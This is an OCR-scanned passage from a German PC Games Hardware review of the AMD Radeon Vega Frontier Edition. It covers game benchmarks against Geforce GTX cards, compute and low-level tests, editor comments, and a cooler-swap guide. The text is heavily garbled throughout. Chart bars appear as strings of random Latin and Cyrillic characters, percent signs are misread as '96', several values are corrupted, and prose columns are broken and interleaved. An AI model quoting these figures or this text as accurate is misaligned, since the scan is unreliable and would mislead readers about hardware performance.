Geforce GTX 1080 Ti/11G. ВЕСОВ 65,9 (+56 96) 
Geforce GTX 1080/8G. ШЕЮ 52,0 (4-23 96) 
Radeon Vega Frontier OC ** ШЕИ 50,6 (+20 96) 
Radeon Vega Frontier maxed " EEE 47,5 (+12 96) 
Radeon Vega Frontier Air/16G ШЗ 42,3 (Basis) 
Geforce GTX 1070/8G. ВЕД 41,0 (-3 96) 
Radeon R9 Fury X/4G Ш 2918 32,8 (-22 96) 


Sniper Elite 4 (DX12) 150 % Res. Scale, Ingame-AA/16:1 AF - „Sniper Woods" 


Geforce GTX 1080 T/11G Loggt 59,1 (+41 96) 
Radeon Vega Frontier OC ** ШИА 51,7 (+23 96) 
Radeon Vega Frontier maxed * Е 8 48,4 (+15 96) 
Geforce GTX 1080/8G. ШЗ 47,7 (+14 96) 
Radeon Vega Frontier Air/16G ВЕ 3918 42,0 (Basis) 
Radeon R9 Fury X/4G Ш 328 40,3 (-4 96) 
Geforce GTX 1070/8G. Ш 08 37,2 (-11 96) 


Witcher 3, max. Hairworks (8x MS)IHBAO+, Ingame-AA/16:1 AF - „Skellige Forest" 


Geforce GTX 1080 T/11G KEE GGIQC ZGG€II.OIIIG€+I(+41 96) 
Geforce GTX 1080/8G. ШШШ 48,8 (4-18 96) 
Radeon Vega Frontier OC ** PER 46,7 (+13 96) 
Radeon Vega Frontier maxed * ШШШ] 42,8 (+4 96) 
Radeon Vega Frontier Ai/16G [ISI] 41,2 (Basis) 
Geforce GTX 1070/8G. [5381] 38,1 (-8 96) 
Radeon R9 Fury X/4G [39] 31,4 (-24 96) 


Ghost Recon Wildlands, max. Details, TAA/16:1 AF — „Wild Ride" 


Geforce GTX 1080 Ti/11G. ВЕ] 51,2 (4-50 96) 

Geforce GTX 1080/8G. [4911 43,0 (+26 96) 

Radeon Vega Frontier OC ** IIS] 40,8 (+20 96) 
Radeon Vega Frontier maxed * ЖЕЗ 36,9 (+8 96) 
Geforce GTX 1070/86 ШЕ ЗЭ 35,3 (+4 96) 
Radeon Vega Frontier Air/16G Ш 31 34, 1 (Basis) 

Radeon R9 Fury X/4G Ш 9 23,9 (-30 96) 
Watch Dogs 2 inkl. PCSS/HBAO+ (Zusatzdetails 0%), SMAA T2x/16:1 AF - ,,Frisco” 


Geforce GTX 1080 T/11G ag 46,5 (4-74 96) 
Geforce GTX 1080/8G. ШЗ 36,4 (+36 96) 
Radeon Vega Frontier OC ** 298 31,8 (+19 %) 
Geforce GTX 1070/86 Ш 98 30,7 (+15 96) 
Radeon Vega Frontier maxed * 761] 29,5 (+10 96) 
Radeon Vega Frontier Ai/16G 781] 26,7 (Basis) 
Radeon R9 Fury X/4G Ж ЛЇЇ 25,4 (-5 96) 
GTA 5, maximiert (Gras , Ultra", Schatten „Am weichsten"), 4x MS/16:1 AF - ,,Grapeseed" 


Geforce GTX 1080 T/11G äer 39,6 (+29 96) 
Radeon Vega Frontier OC ** EEE 34,9 (+13 96) 
Geforce GTX 1080/8G. EEE] 34,5 (+12 96) 
Radeon Vega Frontier maxed * В 29 32,1 (+4 96) 
Radeon Vega Frontier Air/16G В 2811 30,8 (Basis) 
Geforce GTX 1070/8G ШІ 29,2 (-5 96) 
Radeon R9 Fury X/4G [3281] 25,4 (-18 96) 


System: Core i7-6800K @ 4,4 GHz, MSI X99A Tomahawk, 4 x 8 GiB Corsair DDRA4-3000 (1T); Windows 10 x64, GF 384.80 Hotfix, Radeon Pro Software 17.6-Juni27 (Gaming Mode), RS 17.7.1, HQ-AF 
Bemerkungen: Hóherer Takt hilft — wer hätte das gedacht? "konstant 1.600/945 MHz (Bestcase) **1.650-1.700 MHz GPU- und 1.100 MHz Speichertakt 
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Radeon Vega Frontier Edition | GRAFIKKARTEN 


Bonusbenchmarks neuer Spiele Ultra HD — Vega FE mit und ohne Übertaktung 


Nex Machina, max. Details, TAA/16:1 AF — ,,Fire Cavern” 


Geforce GTX 1080 Ti/1 1G iü 91,9 (+42 %) 
Radeon Vega Frontier OC ** 77,9 (+20 %) 
Geforce GTX 1080/8G [sm ES 74,4 (415 96) 
Radeon Vega Frontier maxed * 73,0 (+13 %) 
Radeon Vega Frontier Air/16G BEER 64,7 (Basis) 
Radeon R9 Fury X/AG RE 6144 (-5 %) 
Geforce GTX 1070/8G [sat 59,0 (-9 96) 


Doom (Vulkan), Nightmare-Preset (forciert), TSSAA 8TX/16:1 AF - „Devil's Dance" 


Geforce GTX 1080 Ti/11G a ao. (+34 %) 
Radeon Vega Frontier OC ** www? [SI 76,4 (+27 %) 
Radeon Vega Frontier maxed * www —ww5% ШЕШ 70,1 (+16 96) 
Geforce GTX 1080/8G [satu 63,9 («6 96) 
Radeon Vega Frontier Air/16G EEE 8 60,3 (Basis) 
Radeon R9 Fury X/4G u s 51,6 (-14 %) 
Geforce GTX 1070/8G. | 48,8 (-19 96) 


Prey, SMAA 2TX/16:1 AF - „Hardware Labs" 


Geforce GTX 1080 Ti/11G [stis 56,7 (+40 96) 
Radeon Vega Frontier OC ** EEG 49,3 (+22 96) 
Radeon Vega Frontier maxed * ME 46,1 (+14 96) 
Geforce GTX 1080/8G. [Cg 44,4 (4-10 96) 
Radeon Vega Frontier Air/16G EEE 40,5 (Basis) 
Radeon R9 Fury X/4G Est 38,0 (-6 96) 
Geforce GTX 1070/86 [E381 36,3 (-10 96) 


For Honor, max. Details, TAA/16:1 AF - , Valkenheim" 


Geforce GTX 1080 Ti/11G uw 57,7 (+67 96) 
Geforce GTX 1080/86 [ax 45,0 (+30 96) 
Radeon Vega Frontier OC ** BEER 42,8 (+24 96) 
Radeon Vega Frontier maxed * RIISIBEIIHGAƏAIIIA—ISI TS (+15 96) 
Geforce GTX 1070/8G. [X34 35,2 (+2 96) 
Radeon Vega Frontier Air/16G SSEIRUUIQIKCŠSIXIKIIEETYIIIAI34,5 (Basis) 
Radeon R9 Fury X/4G EXE 32,9 (-5 96) 


Hitman (DX12), max. Details, TAA/16:1 AF - , Sapienza Sundown" 


Geforce GTX 1080 Ti/11G ent? 63,5 (+34 96) 
Radeon Vega Frontier OC ** EE 56,6 (+19 96) 
Geforce GTX 1080/8G [XB 54,1 (+14 96) 
Radeon Vega Frontier maxed * EEE 53,4 (+13 96) 
Radeon Vega Frontier Air/16G ESSET 47,4 (Basis) 
Geforce GTX 1070/8G KE q'uWUII<R* Ñ 42,0 (-11 96) 
Radeon R9 Fury X/4G [gp 32,1 (-32 96) 
Titanfall 2, max. Details, TAA/16:1 AF - , Titanic Falls" 


Geforce GTX 1080 Ti/11G [satu 59,4 (+40 96) 

Geforce GTX 1080/8G [xax E 48,7 (4-15 96) 

Radeon Vega Frontier OC ** EEE 45,0 (+13 96) 

Radeon Vega Frontier maxed * EU I 46,8 (+11 96) 
Radeon Vega Frontier Air/16G EEE 42,3 (Basis) 
Geforce GTX 1070/8G. [3a 37,7 (11 96) 
Radeon R9 Fury X/4G ШО 34,4 (-19 96) 
CoD: MW Remastered, 2x SSAA + SMAA T2x/16:1 AF – „Тһе Swamp" 


Geforce GTX 1080 Ti/11G. [Cg [t 55,0 (+54 96) 
Radeon Vega Frontier OC ** BEES 45,8. (+29 96) 
Geforce GTX 1080/86 ШЗ 42,3 (+19 96) 
Radeon Vega Frontier maxed * EEG 41,1 (+15 96) 
Radeon Vega Frontier Air/16G Ш 35,6 (Basis) 
Geforce GTX 1070/86 ШЕ 34,0 (-4 96) 
Radeon R9 Fury X/4G Ea 28,6 (-20 96) 


Dirt 4, max. Details, 4« MSAA/16:1 AF - , Michigan" 


Geforce GTX 1080 Ti/11G. Em 46,0 (+37 96) 
Radeon Vega Frontier OC ** ESSI 41,0 (+22 96) 
Radeon Vega Frontier maxed * EBEN 39,9 (+19 96) 
Geforce GTX 1080/86 Lg 36,6 (+9 96) 
Radeon Vega Frontier Air/16G EEE 33,6 (Basis) 
Radeon R9 Fury X/4G [3g 30,5 (-9 96) 
Geforce GTX 1070/8G ВЕБЕ E 28,7 (-15 96) 


Mass Effect Andromeda, max. Details, TAA/16:1 AF - „Forlorn Dreams" 


Geforce GTX 1080 Ti/11G. EXE 35,1 (+60 96) 
Radeon Vega Frontier OC ** ШШ? 27,1 (+24 96) 
Geforce GTX 1080/8G [CC] 26,8 (+22 96) 
Radeon Vega Frontier maxed * 28 25,1 (+15 96) 
Radeon Vega Frontier Air/16G IJI] 21,9 (Basis) 
Geforce GTX 1070/8G. ШЕ 20,8 (-5 96) 
Radeon R9 Fury X/4G 518 17,6 (-20 96) 


Sniper Elite 4 (DX12) 150 % Res. Scale, Ingame-AA/16:1 AF - „Sniper Woods" 


Geforce GTX 1080 Ti/11G. [23 px 31,0 (+57 96) 
Radeon Vega Frontier OC ** ШОЛ 25,4 (+28 96) 
Geforce GTX 1080/8G. ШЕ 98 23,9 (+21 96) 
Radeon Vega Frontier maxed * ЖӨ 22,9 (+16 96) 
Radeon Vega Frontier Ai/16G БШ 19,8 (Basis) 
Geforce GTX 1070/8G. ТШ 18,8 (-5 96) 
Radeon R9 Fury X/4G ISTE 17,9 (-10 96) 


Witcher 3, max. Hairworks (8x MS)IHBAO+, Ingame-AA/16:1 AF - „Skellige Forest" 


Geforce GTX 1080 Ti/11G. [C34 36,3 (+44 96) 
Radeon Vega Frontier OC ** SEES] 30,3 (+20 96) 
Geforce GTX 1080/8G. [Xm 29,1 (+15 96) 
Radeon Vega Frontier maxed * ШЕ] 26,6 (+6 96) 
Radeon Vega Frontier Ai/16G I| 25,2 (Basis) 
Geforce GTX 1070/8G. |a 22,7 (-10 96) 
Radeon R9 Fury X/4G [9/1 20,6 (-18 96) 


Ghost Recon Wildlands, max. Details, TAA/16:1 AF - „Wild Ride" 


Geforce GTX 1080 Ti/11G. X3 E 33,8 (+48 96) 

Geforce GTX 1080/8G. Ew 27,7 (+21 96) 

Radeon Vega Frontier OC ** Feb 26,6 (+16 96) 

Radeon Vega Frontier maxed * BEE 25,2 (+10 96) 
Radeon Vega Frontier Air/16G ШШШ 22,9 (Basis) 
Geforce GTX 1070/8G ШШШ? 22,8 (-0 96) 
Radeon R9 Fury X/4G ТЇЗЇЇ 15,0 (-34 96) 
Watch Dogs 2 inkl. PCSS/HBAO+ (Zusatzdetails 0%), SMAA T2x/16:1 AF - , Frisco" 


Geforce GTX 1080 Ti/11G. ШШДЕ 28,2 (+86 96) 
Geforce GTX 1080/8G. 8 21,4 (+41 96) 
Geforce GTX 1070/8G. Ш 1 18,0 (4-18 96) 
Radeon Vega Frontier OC ** BEI 17,6 (+16 96) 
Radeon Vega Frontier maxed * Ш | 16,7 (+10 96) 
Radeon Vega Frontier Air/16G PE 15,2 (Basis) 
Radeon R9 Fury X/4G Ш 018 12,5 (-18 96) 
GTA 5, maximiert (Gras , Ultra", Schatten „Am weichsten"), 4x MS/16:1 AF - ,,Grapeseed" 


Geforce GTX 1080 Ti/11G. ШШШ 25,6 (+44 96) 
Geforce GTX 1080/8G. ШШ?! 21,1 (+19 96) 
Radeon Vega Frontier OC ** Per 20,7 (+16 96) 
Radeon Vega Frontier maxed * ШЕ | 18,7 (+5 96) 
Radeon Vega Frontier Air/16G PE 17,8 (Basis) 
Geforce GTX 1070/8G. Ш І 17,4 (-2 96) 
Radeon R9 Fury X/4G BI 12,6 (-29 %) 


System: Core i7-6800K @ 4,4 GHz, MSI X99A Tomahawk, 4 x 8 GiB Corsair DDRA-3000 (1T); Windows 10 x64, GF 384.80 Hotfix, Radeon Pro Software 17.6-Juni27 (Gaming Mode), RS 17.7.1, HQ-AF 
Bemerkungen: Wird die Vega FE ausgereizt, erzielt sie ggü. dem Werkszustand bis zu 28 % höhere Bildraten. *Konstant 1.600/945 MHz (Bestcase) **1.650-1.700 MHz GPU- und 1.100 MHz Speichertakt 
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GRAFIKKARTEN | Radeon Vega Frontier Edition 


Compute-Performance: Folding at Home 


FAHBench 2.3.1: „dhfr” 


Nvidia Titan X (Pascal) maywa 594,86 (+176 96) 
AMD Radeon Vega FE mom 389,32 (+80 96) 
AMD Radeon RX 580 OC БШ pw 297,24 (+38 96) 
AMD Radeon R9 390X 1693]: 215,85 (Basis) 
AMD Radeon R9 Fury X Egi 213,83 (-1 96) 
FAHBench 2.3.1: „nav” 


Nvidia Titan X (Pascal) m 19,70 (+116 %) 
AMD Radeon Vega FE Em 18,10 (+99 %) 
AMD Radeon R9 Fury X E 12,69 (+39 %) 
AMD Radeon R9 390X Eu 10,49 (+15 96) 
AMD Radeon RX 580 ОС Eu 9,10 (Basis) 


System: Core i7-6800K @ 4,4 GHz, X99, 4 x 8 GiB DDR4-3000; Win 10 x64, GF 384.80, ns24h —— 
RS 17.7.1, RSP 17.6 Bemerkungen: Alle Karten mit freiem Boost. Nur der nav-Test ska- Бхр implicit 
liert im Gegensatz zu den kleineren Molekülen (, dhfr") vernünftig mit der Rechenleistung. > Besser 


Vega: Vorläufige Leistungsindizes 


PCGH-Leistungsindex gesamt (19 Spiele + 1 Open-CL-App) 
Nvidia Geforce GTX 1080 Xm 79,2 (+14 %) 
AMD Radeon Vega Frontier Air (SSE 69 6 (Basis) 
Nvidia Geforce GTX 1070 [Es 64,8 (-7 96) 
AMD Radeon R9 Fury X maaa 56,8 (-18 90) 
PCGH-Leistungsindex Full HD (19 Spiele) 


Nvidia Geforce GTX 1080 [Es 83,4 (+17 96) 
AMD Radeon Vega Frontier Air SIB 71,3 (Basis) 
Nvidia Geforce GTX 1070 Xx 69,6 (-2 96) 
AMD Radeon R9 Fury X Eu 58,5 (-18 96) 
PCGH-Leistungsindex WQHD (19 Spiele) 
Nvidia Geforce GTX 1080 EX 77 4 (+19 96) 
AMD Radeon Vega Frontier Air wS 65,0 (Basis) 
Nvidia Geforce GTX 1070 E 61,8 (-5 96) 
AMD Radeon R9 Fury X ull 53,7 (-17 96) 
PCGH-Leistungsindex UHD (19 Spiele) 


Nvidia Geforce GTX 1080 E 73,1 (+18 96) 
AMD Radeon Vega Frontier Air 61,9 (Basis) 
Nvidia Geforce GTX 1070 Xu 58,4 (-6 %) 
AMD Radeon R9 Fury X www 49,8 (-20 96) 


Leistung: Spiele 

Kommen wir nun zum für die meis- 
ten Leser spannendsten Teil dieses 
Artikels, den Spiele-Benchmarks. 
Die Frontier Edition musste sich 
in 30 populáren Titeln von 2008 
bis 2017 beweisen, womit wir alle 
denkbaren Lasten abdecken. Selbst- 
verstándlich versetzen wir die 
Grafikkarte für diese Tests in den 
Gamingmodus, wobei nicht uner- 
wähnt bleiben soll, dass die Radeon 
Pro Software 17.6 hier nichts ande- 
res macht, als die grafische Oberflä- 
che auszutauschen. Wir gehen da- 
von aus, dass folgende Pro-Treiber 
die Spieleleistung erhöhen wer- 
den. Bis dahin gelten die erzielten 
Resultate, bei denen die Frontier 
Edition frei boosten kann - die ver- 
wendeten Frequenzen haben wir 
in einer Tabelle hinterlegt. Zu den 


den 19 Standardspielen des aktuel- 
len PCGH-Leistungsindex gesellen 
sich folglich elf neue Titel, welche 
sich in den vergangenen Monaten 
als gute, reproduzierbare Bench- 
marks erwiesen haben. In diesen 
Bonusbenchmarks testen wir die 
Vega FE nicht nur mit freiem Boost, 
sondern auch mit zwei höheren 
Taktstufen. Die erste zeigt, was die 
Vega FE bestenfalls leisten Kann: 
Wir verhelfen der Karte mithilfe 
einer stark gesenkten Spannung 
und maximalem Powerlimit dazu, 
ihren 1.600-MHz-Boost konstant 
aufrechtzuerhalten. Diese Werte 
zeigen, was die Frontier Edition Li- 
quid zu leisten imstande ist, wobei 
diese Karte im Gegensatz zu unse- 
rer Simulation hin und wieder auf 
1.528 MHz fällt. Damit nicht genug, 
die dritte Einstellung zeigt die Leis- 


Compute-Shader: 4k-Szene-Demo 


2nd Stage Boss 1.280 x 720 


2nd Stage Boss 1.920 x 1.080 


AMD Radeon Vega FE Esa 14244 (+71 96) 
AMD Radeon R9 Fury X aa 83,2 (Basis) 
Nvidia Titan X (Pascal) gr 77,5 (-7 %) 
AMD Radeon RX 580 OC asi 9 68,3 (-18 96) 
AMD Radeon R9 390X [3n 58,4 (-30 96) 
Geforce GTX 1080 FE Esq Eu 58,3 (-30 96) 
Geforce GTX 1070 FE [24 | 44,6 (-46 96) 


AMD Radeon Vega FE Gayi ШЕШШ 66,6 (4-72 96) 


AMD Radeon R9 Fury X HERE 38,8 (Basis) 
Nvidia Titan X (Pascal) EINE 36,3 (-6 96) 
AMD Radeon RX 580 ОС ВТ 31,4 (-19 %) 
Geforce GTX 1080 FE HM 27,4 (-29 96) 
AMD Radeon R9 390X БЇБЇШ 27,2 (-30 96) 
Geforce GTX 1070 FE В 21,1 (-46 96) 


System: Core i7-6800K @ 4,4 GHz, X99, 4 x 8 GiB DDR4-3000 (17); Win 10 x64, GF 
384.80 HF, RPS 17.6-Juni26, RS 17.7.1, HQ-AF Bemerkungen: Die Liquid-Version der 
Frontier Edition erreicht einen Gesamtindex zwischen 74 und 75 (von PCGH simuliert). 


Fps 
» Besser 


System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiB 
DDR4-3000 (1T); Win10 x64 (1607), GF 384.80, RS 17.7.1, RSP 17.6 Bemerkungen: Der 
komplett auf der GPU laufende, einzelne Shader profitiert von den Verbesserungen in Vega. 


Mimil 2 Fps 


» Besser 


Viel Theater um angeblich nicht 
gaming-optimiertes Fron-Tier. 


Wann hat es das schonmal gegeben? 15 Seiten zu 
einem Produkt, das gar nicht hauptsächlich für Spieler 
gedacht ist. Trotzdem: An Vega klammerten sich so viele 
Hoffnungen, dass wir die Gelegenheit ergriffen haben 

— und auch abseits der Spieleleistung testeten. Die 
meisten unserer Ergebnisse lassen tatsächlich nur auf 
ein(en) Wunder(treiber) hoffen, oder darauf, dass der in 
der Versenkung verschwundene Vega 11 gar kein kleine- 
rer Chip, sondern eine Gaming-optimierte Vega-Version 
ist, der auf der RX Vega zum Einsatz kommt. Jaja, ich 
weiß, die Hoffnung stirbt zuletzt. Realistisch betrachtet sieht es derzeit so aus, als 
káme AMD trotz hóherer Leistungsaufnahme nicht an Nvidias GTX 1080 Ti heran. 


Carsten Spille 


44 PC Games Hardware | 09/17 


Der Optimist in mir glaubt an 
den , Wundertreiber" 


AMD machte es bis Redaktionsschluss spannend. 
Offizielle, neue Informationen zu Vega? Fehlanzeige. 
Ein Kommentar zum mauen Abschneiden der Karte in 
vielen Tests? Nada. Stattdessen tourte eine AMD-De- 
legation nach Ungarn — natürlich ohne informativ zu 
werden. Das fuchste nicht nur uns. Wir haben circa 50 
Applikationen mit der Vega FE getestet, darunter 30 
Spiele. In den wenigsten erreicht der Chip ein Niveau, 
das zu den beeindruckenden Rohdaten passt. Ich fresse 
einen (klitzekleinen) Besen, wenn das alles gewesen ist, 
und glaube an den , Wundertreiber", der Vegas Handbremse löst. Warum? Niemand 
móchte eine Hommage an die HD 2900 XT, welche just 10 wurde ... 


LN 


á 
Raffael Vótter 
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tung mit „echtem“ Overclocking: 
Wir tauschen den Referenzkühler 
gegen einen Morpheus II (siehe 
rechts sowie folgende Seite) und 
treiben die Vega FE auf 1.100 MHz 
Speichertakt sowie Boosts zwi- 
schen 1.700 und 1.650 MHz - mehr 
verkraftete unser Exemplar nicht. 


Unter dem Strich erzielt die Vega 
FE Air eine durchwachsene Spiele- 
leistung, Standard- 
boosts im Mittel zwischen der Ge- 
force GTX 1070 FE und GTX 1080 
FE rangiert. Dabei gibt es sowohl 
Lichtblicke - beispielsweise die 
von AMD unterstützten Titel Dirt 
4 und Prey - als auch düstere Kapi- 
tel, wie Assassin’s Creed Syndicate 
und GTA 5, in denen die Vega FE 
Air der GTX 1070 unterliegt. Besser 
sieht es mit ausgehebelten Limits 
aus: Je nach Spiel und Last steigt 
die Leistung der Karte mal mehr, 
mal weniger stark an, wobei UHD 
am meisten profitiert. Die manuel- 
le Übertaktung verhilft der Karte 
dann endgültig, sich an der GTX 
1080 FE vorbeizuschieben. 


welche mit 


Leistung: CAD & Co. 

So gerne wir spielen, die Frontier 
Edition ist kein reines Spielzeug, 
sondern ein verhältnismäßig güns- 
tiger Workstation-Ersatz. Beim Ein- 
satz mit populären CAD-Program- 
men wie Solidworks, 3D Studio 


Max, Creo oder Maya sowie als Ren- 
der-Beschleuniger beispielsweise 
in Blender lässt die AMD-Karte 
ihre Muskeln spielen. Ursächlich 
sind die Pro-Treiber, welche spe- 
zielle Funktionen innerhalb der 
CAD-Programme signifikant bes- 
ser beschleunigen als die Gaming- 
Treiber. In Solidworks 2015 kann 
sich die Vega FE Air laut unabhän- 
gigen Benchmarks zwischen Nvi- 
dias Quadro-Modellen P5000 und 
P6000 platzieren, obwohl sie nur 
einen Bruchteil kostet. In Creo 3.0 
läuft sie der P6000 sogar um bis zu 
20 Prozent davon, während in 3DS 
Max 2015 Gleichstand herrscht. 
Die Pro-Seite der Vega-Medaille ist 
folglich fertiggestellt, allein das 
Funkeln der Gamingseite fehlt. 


Energie-Effizienz: HBM als 
Heizkraftwerk? 
Möglicherweise ist der installierte 
HBM2 energiehungriger und somit 
auch langsamer als ursprünglich 
geplant - obwohl die Speicher- 
chips nur mit 945 anstelle der 
angepeilten 1.000 MHz arbeiten. 
Während der Tuningtests fiel uns 
auf, dass das Tool HWInfo64 einen 
Temperaturwert für den Speicher 
ausgibt. Dieser liegt unter Dauer- 
last bei rund 95 °C (GPU: 85 °С) 
und somit an der Spezifikations- 
grenze. Es ist nicht auszuschliefsen, 
dass auch der Speicher in diesem 


Empfehlung für eine leise Radeon Vega Frontier Edition: Raijintek Morpheus II (ca. 65 
Euro) plus 2 x Be quiet Silent Wings 3 120mm (je ca. 18 Euro). 


Zustand Wartezyklen einschiebt, 
um die Hitze einzudämmen. Nach 
dem Kühlerwechsel bessert sich 
das absolute Temperaturniveau, 
der HBM wird aber dennoch hei- 
fser als der Rechenkern: In Spielen 
beträgt die Differenz der Kompo- 
nenten zehn bis zwólf Grad Celsius 
(beispielsweise 50 °C Kern, 62 °C 
HBM), beim Ether-Mining kónnen 
daraus aber bis zu 22 °C werden. 
Unsere Versuche, dem HBM mittels 
Wattman eine Unterspannung zu 
verpassen, scheiterten an Bugs der 
Software. Undervolting des Kerns 
lohnt sich jedoch sehr, wie die zahl- 
reichen Messungen in den Seiten- 
spalten dieses Artikels zeigen. Last, 
but not least: Befürchtungen, dass 
die Vega FE eine große Stromlast 


Low-Level-Messungen: Auszug aus der Beyond3D-Suite 


auf dem PCI-Express-Slot (PEG) er- 
zeugt, sind laut unseren Messungen 
unbegründet. Die Karte genehmigt 
sich schlimmstenfalls 30 Watt aus 
dem PEG. Einige Werte finden Sie 
im Stromspecial im vorderen Teil 


dieser Ausgabe. (rv/cs) 
Fazit Hardware 


Vorschau auf RX Vega 

Die Radeon Vega Frontier Edition ist 
ein echter Janus: Beim Computer-aided 
Design hui, beim Spielen angesichts der 
Leistungsaufnahme eher pfui. Doch das 
ist nur das Vorspiel, in Kürze wird AMD 
weitere Technikdetails nennen und hof- 
fentlich einen „echten” Gamingtreiber 
abliefern. Daumen drücken! 


Polygone (Mio. Dreiecke/Sek.) Strip/List (100 % culled) Strip/List (50 % culled) Strip/List (0 % culled) List (100 %/0 % culled) 
Rad. Vega FE (<=1600e-1,89m) 6.107/5.922 6.244/5.958 4.061/3.581 2.117/2.117 
R9 Fury X (1050e-1,0m) 2.273/3.908 1.721/3.927 1.712/2.569 .394/1.394 
R9 390X OC (1080e-6,0m) 2.378/3.998 2.190/4.033 2.185/2.775 .434/1.435 
RX 580 ОС (1425е-8,0т) 5.354/5.282 4.756/4.187 2.544/2.393 1.148/1.886 
Titan X-Pascal («1835e-10,0m) 10.452/11.421 5.560/5.051 3.602/2.092 2.092/2.041 
GTX 1070 FE («1879e-8,0m) 10.133/10.039 5.043/4.554 2.365/1.765 2.053/2.051 
Effektive Speicher-Transferrate (MByte/s) * 1 Textur 2 Texturen 4 Texturen 8 Texturen 16 Texturen 32 Texturen 


Rad. Vega FE (<=1600e-1,89m) 


250/406 (+62 96) 


267/341 (+28 %) 


276/307 (+11 96) 


285/303 (+6 %) 


281/293 (+4 % 


278/288 (+4 96 


R9 Fury X (1050e-1,0m) 


349/411 (+18 96) 


389/481 (+24 96) 


429/483 (4-13 96) 


455/503 (+11 96) 


R9 390X OC (1080e-6,0m) 


309/309 (+0 96) 


319/319 (x0 96) 


w 


8/318 (+0 %) 


340/340 (+0 %) 


) 
454/473 (+4 %) 
335/335 (+0 %) 


) 
309/308 (+0 %) 
326/326 (+0 %) 


RX 580 OC (1425e-8,0m) 


195/286 (+47 96) 


205/279 (+36 96) 


213/258 (+21 96) 


219/242 (+11 96) 


208/217 (+4 96) 


172/174 (+2 96) 


Titan X-Pascal («1835e-10,0m) 


352/754 (+111 96) 


379/913 (+141 %) 


394/947 (+140 %) 


394/788 (+100 %) 


285/833 (+192 %) 


292/393 (+35 %) 


GTX 1070 FE (<1879e-8,0m) 


189/474 (+151 %) 


205/608 (+197 %) 


208/684 (+229 %) 


195/593 (+204 %) 


207/578 (+179 %) 


213/344 (+62 %) 


Füllraten (Pixel/Depth/Texturen, Mrd./Sek.) Pixel Depth Reject/Write (Verhältnis) | Texturen UINT8/16 (32/64 Bit) | Texturen FP32 (1x/2x/3x/4x) 
Rad. Vega FE (<=1600e-1,89m) 93,5 363/97 (3,74:1 257/142 263/145/98/74 

Rad. Vega FE (@1050e-1,89m) Nicht gemessen Nicht gemessen 197/107 197/107/72/54 

R9 Fury X (1050e-1,0m) 61,1 201/63 (3,17:1 245/134 248/134/90/67 

R9 390X OC (1080e-6,0m) 66,3 220/65 (3,38:1 181/91 183/91/61/46 

RX 580 OC (1425e-8,0m) 41 144/45 (3,21:1 159/98 157/99/67/51 

Titan X-Pascal (<1835e-10,0m) 141,8 650/136 (4,78:1) 356/351 350/346/130/99 

GTX 1070 FE (<1879e-8,0m) 83,8 358/76 (4,73:1 195/194 196/193/73/55 


System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99A Tomaha 
Karten mit freiem Boost. * Gemessen durch die erreichbare Texturtransferra 
mierbarer Textur (einfarbiger Inhalt). Zuwachs durch Kompression/bessere 


wk, 4 x 8 GiB Corsair DDR4-3000 (1 


); Windows 10 x64 (1607), GF 384.80, RS 17.7.1. Bemerkungen: Alle 
te: Ein Durchlauf mit so gut wie unkomprimierbarer Textur (zufälliger Inhalt), ein Durchlauf mit sehr gut kompri- 
utzung des Texturcaches in Prozent. Die Texturfüllrate der Vega FE im Vergleich zur Fury X ist auffallend gering. 
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Kühlermodifikation 


Wie viele Referenzdesigns vor ihr kämpft auch die Vega FE mit ihrer 
schwachen Kühlung. Das muss nicht sein, Abhilfe ist verfügbar. 


Raijintek führt als einziger Hersteller einen mit Fiji und Vega kompatiblen Nachrüst- 
kühler, den Morpheus II (ab ca. 65 Euro). Er wird ohne Lüfter ausgeliefert, im Falle 
der Radeon Vega Frontier Edition sollten jedoch zwei 120-mm-Exemplare mit in den 
Warenkorb gelegt werden, um der Abwárme Herr zu werden. 


Äußerst wichtig ist, beim Umbau die Hitzkópfe neben dem GPU-Package im Auge zu 
haben. Bei der Entscheidung, welche Bauteile Kühlelemente erhalten, haben wir uns 
an der Basisplatte des Referenzkühlers orientiert. Sie bedeckt nicht nur die Mosfets 
(silbern/flach), sondern auch deren Spulen; alle nehmen mittels Wärmeleitpads 
Kontakt zur Kühlplatte auf. Der Morpheus II bringt einen großen VRM-Kühlkórper mit, 
welcher jedoch inkompatibel zur Vega FE und vielen weiteren Grafikkarten ist. Prakti- 
scherweise legt Raijintek weiterhin viele kleine Kühlmodule bei, deren Anzahl genügt, 
um alle Hitzequellen zu bedecken. Nicht optimal ist es, dass diese Elemente mittels 
(Wärmeleit-)Kleber befestigt werden müssen. Unser Tipp: Eine Mischung aus Pattex 
und einem Hauch Wärmeleitpaste (vermischt) hält ordentlich und lässt sich bei Bedarf 
restlos abkratzen. Die wenig elegante Schnelllósung ist reiner Sekundenkleber. 


Unser im obigen Bild abgelichteter Aufbau entspricht aus guten Gründen nicht 1:1 
dem Raijintek-Lieferumfang. Die Mosfets bekleben wir mit den lánglichen, silbernen 
Kühlerchen des Morpheus II (über der gelben Markierung zu sehen). Bei den Spulen 
entscheiden wir uns hingegen für andere Teile aus unserem reichhaltigen Fundus. Die 
schwarzen Kühlmodule bieten eine gróBere Fláche, haften selbststándig und passen 
besser ins neue Farbbild. Lediglich die Spulen direkt über dem Grafikchip können wir 
nicht damit bestücken, da der Kühler ansonsten kollidiert (gelbe Markierung). Hier 
lassen sich nur sehr schmale oder alternativ flache Kühlmodule verwenden. 
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ML 


Die Testergebnisse können sich sehen lassen. Mit zwei Noiseblocker Eloop B12-2 @ 
1.100 U/Min wird die GPU höchstens 48 °C warm, die Wandler rangieren unterhalb 
von 80 °C. Mit zwei Silent Wings 3 PWM High-Speed bei voller Leistung (2.200 U/ 
Min) sinkt die Kerntemperatur auf kühle 43 °C und die der VRMs auf circa 60 °C. Die 
starke Kühlung bewirkt, dass das Temperaturlimit aus der Gleichung genommen wird 
und die GPU unter Volllast etwas öfter mit 1.440 MHz läuft als zuvor, der 1.348-MHz- 
Schritt wird seltener verwendet. Allerdings steigt dadurch auch der mittlere Verbrauch 
an (!), da die GPU näher an ihrem 300 W-Limit agieren kann. Wir messen in Anno 
2070 (UHD) die folgenden Werte (mit 2 x Silent Wings): 286 Watt bei 38 Fps anstelle 
von 259 Watt/36 Fps mit dem Standardkühler. Mit 1.075 mV und maximalem Powerli- 
mit sind 326 Watt bei 41 Fps (Max-Boost) zu verzeichnen. Mit dem Referenzkühler @ 
3.000 U/Min werden 82 °C erreicht und der Verbrauch beträgt aufgrund der größeren 
Leckströme sowie der Lüfterspeisung über die Platine 373 Watt. 
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Prozessoren 


